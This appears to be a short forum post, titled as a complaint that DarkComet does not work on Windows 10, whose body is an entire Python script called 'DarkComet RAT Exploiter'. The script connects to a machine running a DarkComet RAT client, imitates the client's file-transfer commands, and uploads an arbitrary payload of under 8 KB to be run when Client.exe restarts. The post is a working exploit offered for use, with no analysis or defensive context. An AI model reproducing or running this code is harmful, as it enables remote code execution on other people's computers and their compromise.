Dark comet not working in windows 10

Code
# DarkComet RAT - Exploiter

# written by Slayer616

# Thanks to: Opcodez, Zacherl, steve1020, 2sly, Protocol, all other friends/coders/supporters

import socket

import os

print("-----------------------------------------------------------")

print("DarkComet RAT Exploiter")

print("Coded by Slayer616")

print("-----------------------------------------------------------")

sIP = input("Type in IP of the Remote PC: ")

sPort = input("Type in Port of the Remote PC: ")

sFile = input("Type in full path to Payload: ")

if os.path.exists(sFile):

    bLen= os.path.getsize(sFile)

    if bLen < 8097:

        if sPort.isdigit():

            print("Connecting to %s on Port %s" % (sIP,sPort))

            sSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

            try:

                sSock.connect((sIP, int(sPort)))

                print("Connected to Remote PC!")

                sData = str(sSock.recv(1024),'ASCII')

                if sData == "IDTYPE":

                    print("Valid Client! Now sending request!")

                    sSock.send(bytes("TRANSFERupnp.exe|DLFILE|562|7","ASCII"))

                    sSock.recv(1024)

                    sData = "Size:%s" % (str(bLen))

                    sSock.send(bytes(sData,"ASCII"))

                    sSock.recv(1024)

                    f = open(sFile,"rb")

                    sData = f.read()

                    f.close()

                    sSock.send(sData)

                    sSock.close()

                    print("Finished! Now wait until Client.exe restarts!")

                else:

                    print("This is not a valid DarkComet Client!")

            except:

               print("Couldnt connect to Remote PC!")

        else:

            print("Port is not a valid Integer!")

    else:

        print("Payload is too great! Use one with less then 8Kbyte!")

else:

    print("File not found!")